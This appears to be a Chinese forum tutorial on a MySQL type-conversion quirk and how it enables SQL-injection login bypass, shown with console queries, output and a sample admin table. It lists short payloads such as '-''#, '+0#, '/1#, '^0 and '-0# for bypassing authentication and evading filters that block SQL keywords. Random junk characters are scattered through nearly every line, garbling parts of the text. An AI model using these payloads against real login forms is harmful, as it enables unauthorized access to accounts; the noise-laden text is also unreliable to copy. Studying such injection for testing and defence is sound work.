我们先来看这样一个场景。( g( o) d; k$ r
有以下表结构:
( x5 x" O; R7 _9 D3 [. H1 B8 i4 k7 E w3 a# \: M0 T1 l- D
mysql> desc admin;& B0 S# F) N+ I& I( ~+ k9 G
+----------+--------------+------+-----+---------+----------------+
5 T4 E2 T3 C- A. r% U| Field | Type | Null | Key | Default | Extra |3 `- \1 Y& E3 y \
+----------+--------------+------+-----+---------+----------------+6 o' r4 }4 |. H" w% L! `) f
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
2 M3 r" k! y$ O$ C8 i! b" _+ _| name | char(32) | NO | UNI | NULL | |
+ ^. X; s6 x0 I0 e| password | char(32) | NO | UNI | NULL | |8 _8 e% R4 ], K& {
+----------+--------------+------+-----+---------+----------------+$ k0 Y# t/ b2 S: S* V- j+ n4 W, D
3 rows in set (0.00 sec)' O) J8 }) ~6 [% q6 k
执行select * from admin;,成功返回所有记录内容。% c: J7 Y2 g( q; O9 @+ V
; j3 v) s! M2 B
z# J" y8 Y) Z# [# U+----+--------+----------------------------------+
) j/ `6 _* g* M& I; X0 ^. [7 K| id | name | password |
) r3 C% o A. ^1 w+----+--------+----------------------------------+2 D& w9 I. o- U: |
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
2 }. B2 ^: _3 d| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" G9 I7 z9 {9 |5 B5 l
| 4 | n00b | ff80e8508d39047460921792273533a4 | n; R! L9 H" o/ Z W7 A
+----+--------+----------------------------------+( D) K# [3 r5 A) R+ N2 k( G$ _
3 rows in set (0.00 sec); o6 E/ E* I3 i/ E
执行select * from admin where name=”;,没有匹配到任何记录。 6 w) ~+ x: a1 I; K
% h v9 D8 w; B( o6 Qmysql> select * from admin where name = '';
- p: ^' t& b% ~( l9 ]Empty set (0.00 sec)
: a# m' u8 ?- c i0 L那么我们来执行select * from admin where name = ”-”;
1 t( U4 l+ o( S( I. f" V- @
8 D7 i8 ^, F1 n& r; o7 R2 y. f% \5 ^* M( E0 Y# j
+----+--------+----------------------------------+
0 }1 ^9 `9 V% a: @- X8 u| id | name | password |
; B/ o0 `; @! a+----+--------+----------------------------------+
& ?( p* t; I" J3 w. A! s| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
$ V3 ?8 s- t1 P$ N; A. C| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | G; d' a' E3 f7 T& v1 e, k3 n/ [
| 4 | n00b | ff80e8508d39047460921792273533a4 |0 X# Y3 F5 }" q" y% t
+----+--------+----------------------------------+6 W8 _! p) g D) W" K
3 rows in set, 3 warnings (0.00 sec)
' `% c& G6 ~0 |2 s* a可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
^4 n% g9 }4 I1 n* n9 L- R% f- U3 h# _' E5 ?, k8 S5 o
mysql> show warnings;, y! t8 d$ A4 u3 [/ k9 b8 t+ E4 e
+---------+------+------------------------------------------5 d6 K0 E7 q1 L" r
| Level | Code | Message
/ O% E% |" _$ A* e6 G% T5 X+---------+------+------------------------------------------
7 k1 H: ?2 v6 o, H% J- [| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin0 e, z7 v8 p3 s# r( D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ B" }1 `4 K5 ]! [4 Q, L. _" H
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
) y4 U. B9 `9 k b; H" V+---------+------+------------------------------------------8 o; N9 f5 J) B& L! |( `
3 rows in set (0.00 sec)# G% L+ a+ ?! O
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 5 f2 P" ]5 ~1 R* [
& ]8 k6 C3 _3 Q
mysql> select ''-'';
, a" ?' k5 p, r' h. O- ?# \7 i+-------+% e/ s/ |( b+ k" l; R2 Z
| ''-'' |
5 A* l- [: |9 a! P: S) h. I+-------+
4 y& s/ H& T, ]: m( I| 0 |
6 ~' ^" ]2 Z% p" c) d+-------+
$ C* O9 W2 c1 L1 row in set (0.00 sec)
, J, ^" ^3 x1 x3 g; ]; B返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
9 }! J! \. R4 u4 r+ A/ n3 d# J
5 a8 \; ~9 F- p) r9 x( N% ^% Fmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
/ O% b9 X7 [* a2 M3 v2 ~+-----------------------------------------------------+
2 S6 o7 m8 Q% v| CAST((select name from admin limit 1,1) as DECIMAL) |
; h" f, L* Q2 `: ]+ p9 h( u ?( @+-----------------------------------------------------+% U' _; h+ c) h' ]3 @' ~' S
| 0 |
9 e4 L# ?0 u, j( O) d6 j" S+-----------------------------------------------------+
3 G) P5 |. D3 f9 v1 H1 row in set, 1 warning (0.00 sec)8 E# n& K7 D8 F' l' b9 h, e. q
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ( X( o- ?0 Y5 k$ G ^
9 x: f$ W; C$ s( O
SQL注入场景: http://www.sqlzoo.net/hack/ # K7 r% ?4 I% b% s1 ?
, z$ v1 e( {! X# D) i. p; o# t" Q- A$ W: y" J+ T9 ]% Y# N; P( |
9 T6 O8 v/ o" `( l
0 Y/ X6 E# S# ?' A; B# @/ M/ H. _
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
) _3 Z- n5 h' Q+ x1 y8 E/ C4 H% H6 \- r; l% S
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 3 b& t$ V# f" J4 t$ S; `
" _9 P/ e. n9 P( k/ ]
7 M2 X% Z$ _0 s( Y2 x3 b, N
. T) y( E D8 ?/ a4 w J" c' n6 i6 \, b* }+ [& h
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 @" M& m9 P3 ^
$ g; _8 |/ X, p" l
8 r8 {$ X0 n7 B
% W. [" Z) G% ]1 \
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
9 s* G! ~/ M7 h# @4 t* X3 f5 A4 }( `$ l* z, J3 I( u
5 f1 w, R; h( y* x8 A
mysql> select ''/1;
3 B# }! h% x3 s! s+------+
b; u& [$ h7 B+ E* {( f5 e| ''/1 |
' ~5 f( w6 s$ k5 s4 D/ |$ Z% a" T+------+, J- K: G: c, `
| 0 |! r ^2 Z3 i( ^$ I) f; y; G; j. U
+------+
- e$ q; w h4 m f; r" A: z1 row in set (0.00 sec)
( ~4 w0 G3 r+ b% ` z9 m类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 + e- {7 [* I( @ r! u7 u: z$ ^
. I9 v* G$ Z) v- J: N
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
' g4 x2 c4 R( N! p' j4 w |
|